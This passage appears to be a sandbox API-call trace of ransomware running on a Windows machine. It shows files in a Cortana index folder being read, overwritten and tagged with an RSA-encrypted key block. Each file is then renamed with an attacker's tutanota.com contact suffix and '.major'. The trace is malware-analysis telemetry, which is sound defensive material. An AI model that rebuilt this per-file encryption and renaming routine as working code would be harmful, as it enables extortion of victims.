lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x341acf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25cce, lpOverlapped=0x0) returned 1 [0249.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0249.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x341acf0 | out: hHeap=0x570000) returned 1 [0249.179] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25cce [0249.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.179] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.179] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.179] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb30 [0249.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb30, pcchString=0x2e3f9a8 | out: pszString="JsoPhI9/umXRaNAUlO8ALuebVxO3A33kYjjZcglsD6/yQZupa9tDnC3pFERHy96q\nW6kJXu58jkbamyo1N5fH+r6dG23OP6mEm4jy3uTaY8a2tUJ21H54DK1EdRgsrCDy\neagKStQx6bxqR6n4uyQa/1Yg0wjC5043JpAuzJFtfLDTtVASEkV/ymbp4SpidVe0\nOQ51aqls3fPQtDD6S89dm2VRmvdHGAeVbLwAtyzj9hM8Rjh+tHVaSIsLwmhf0Q5D\niuUfLm1sCK1sOGjNmJteOnjgsR56EQCI4HDNSltH7U4eHJhgEt5XeqKj2iRJqHHe\n1cBnhOnNBdneLjy7ALrzjw==\n", pcchString=0x2e3f9a8) returned 1 [0249.179] WriteFile (in: hFile=0x1b08, lpBuffer=0x66eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.179] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.179] CloseHandle (hObject=0x1b08) returned 1 [0249.179] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb30 | out: hHeap=0x570000) returned 1 [0249.180] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0249.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0249.181] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadca0 | out: hHeap=0x570000) returned 1 [0249.182] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadf30 | out: hHeap=0x570000) returned 1 [0249.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadde8 [0249.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.182] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.ft", dwFileAttributes=0x80) returned 1 [0249.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae1c0 [0249.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1de) returned 0x66e948 [0249.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae1c0 | out: hHeap=0x570000) returned 1 [0249.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0249.183] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=28943) returned 1 [0249.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710f) returned 0x33f5018 [0249.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x710f) returned 0x33fc130 [0249.184] ReadFile (in: hFile=0x1b08, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x710f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x710f, lpOverlapped=0x0) returned 1 [0249.199] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-28943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.199] WriteFile (in: hFile=0x1b08, lpBuffer=0x33fc130*, nNumberOfBytesToWrite=0x710f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33fc130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x710f, lpOverlapped=0x0) returned 1 [0249.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0249.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33fc130 | out: hHeap=0x570000) returned 1 [0249.199] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x710f [0249.199] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.199] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb30 [0249.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb30, pcchString=0x2e3f9a8 | out: pszString="TcaII2xHgKm/ledIAWK75lhYKY9P1CkWKi9juZX8bVDNknJjhSBoKf7fwfKWR18Z\nnKQ6uTqog/jWkOzdRtg8q4Y1zw1ZuSG5Y+rAbdT0P6XXNuzFcC70fMs+b7C77WOK\nToyMPJUK6saWA61QWSuZX9e70pQjs+Rx9oWC33sJxxZsS8pPjEEzDdA2s7qajlp4\nGQvmlQJngtDMArgd6zTkNto4CBcv4XGutro1ti/ZYHXQU77KorAzrwT+KhuH7zUp\nyxy6ErfxKQl6AMwsQ3HrOcVMYrfs2dpFQ5NFQxAmTK8Zb9jx7xH/G624CF0GcFuK\nLhAxXjN/yx2FDevaAyk1iw==\n", pcchString=0x2e3f9a8) returned 1 [0249.200] WriteFile (in: hFile=0x1b08, lpBuffer=0x66eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.200] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.200] CloseHandle (hObject=0x1b08) returned 1 [0249.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb30 | out: hHeap=0x570000) returned 1 [0249.200] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.ft.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.ft.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0249.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadde8 | out: hHeap=0x570000) returned 1 [0249.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae078 | out: hHeap=0x570000) returned 1 [0249.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66e948 [0249.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0249.202] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.202] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0249.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66eac0 [0249.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66ec38 [0249.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eac0 | out: hHeap=0x570000) returned 1 [0249.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0249.203] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0249.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d430 [0249.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d4b0 [0249.204] ReadFile (in: hFile=0x1b08, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.204] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.205] WriteFile (in: hFile=0x1b08, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0249.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0249.205] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0249.205] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.205] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.205] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.205] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.206] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x313e008 [0249.206] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x313e008, pcchString=0x2e3f9a8 | out: pszString="GR3PTZx6fFF6/5HeeL0Vg3LoA4wIxtPUHS5/RIMsHwLU99816HU+CIkk7RNvrI58\n60758e2m/M8aXwrDkoox+KJSfqAxy+Fv2MqYAIlKqf8relmZTT9rNk31/UwlYJ4X\nlHlX4eOQeYAzYqz+ySNkvjwmYDA6QLO7zPY0s7tPHBhzBGWRRhn7dHDsFIp5+Kxg\nYt3Ev5BbBEZMR1KBWOyg3lJOZ3FqGJqeHZkZvfsIoWhY+d3Ky51lJPJEOkl95UJp\nsT4zZ426bYpkIgy4byV/0S99/g9TA0ZYLRHnKgCRi5zC4peMhYf7YSoMPNRNUDui\nHfzYmc4rESBMb7oqmWTqgQ==\n", pcchString=0x2e3f9a8) returned 1 [0249.206] WriteFile (in: hFile=0x1b08, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.206] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.206] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.206] CloseHandle (hObject=0x1b08) returned 1 [0249.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e008 | out: hHeap=0x570000) returned 1 [0249.206] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.209] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ec38 | out: hHeap=0x570000) returned 1 [0249.209] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0249.209] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0249.209] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.209] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0249.209] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.209] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0249.210] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x66e948 [0249.210] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66eac0 [0249.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0249.210] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0249.211] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0249.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d430 [0249.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5) returned 0x59d4b0 [0249.211] ReadFile (in: hFile=0x1b08, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.211] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.211] WriteFile (in: hFile=0x1b08, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.212] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0249.212] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0249.212] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0249.212] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.212] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.212] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.212] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.212] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ecf0 [0249.212] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ecf0, pcchString=0x2e3f9a8 | out: pszString="aHT3Vz/LAUthGeJTVLp81jJYfdwoTkdwvr3B7Y4gvdNg02zEeKsA5ngSsbFJEv3t\nWAGEHwiQ+cwj2/ChShnyaB4LGJK3PE3t3jstP3XFkY8LRJpSprhItiPr0rMLBggR\n2QcNAIw/yGbb+Qyieq6eFV0fDpiQX21+5H1h64Lg6N7sjAE29vlrkgaG+Shx23au\nb2Sb/HnOjRelmI5cA/ib1pkcjpcYGcmPPH2iObi/uRARVQZWFqluMqPwlJkhk30b\nW1Vm2dY6uzByg5Pgo7MMi6b356R5SjnspI9LQa3bLjGMpo2a8ULxGr1HZAKZYtsA\n2I3XVLa4Avw8TY0VxJAEJA==\n", pcchString=0x2e3f9a8) returned 1 [0249.212] WriteFile (in: hFile=0x1b08, lpBuffer=0x66ecf0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ecf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.212] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.212] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.213] CloseHandle (hObject=0x1b08) returned 1 [0249.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66ecf0 | out: hHeap=0x570000) returned 1 [0249.213] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eac0 | out: hHeap=0x570000) returned 1 [0249.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0249.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5a8108 [0249.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0249.215] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.215] SetFileAttributesW 